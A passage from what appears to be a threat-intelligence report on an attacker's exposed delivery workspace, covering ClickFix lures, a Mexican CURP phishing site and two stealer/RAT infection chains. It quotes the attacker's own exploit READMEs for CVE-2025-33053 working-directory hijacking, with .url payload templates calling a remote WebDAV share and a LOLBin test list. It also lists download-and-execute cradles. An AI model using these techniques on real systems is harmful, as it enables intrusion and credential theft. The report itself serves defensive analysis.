scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
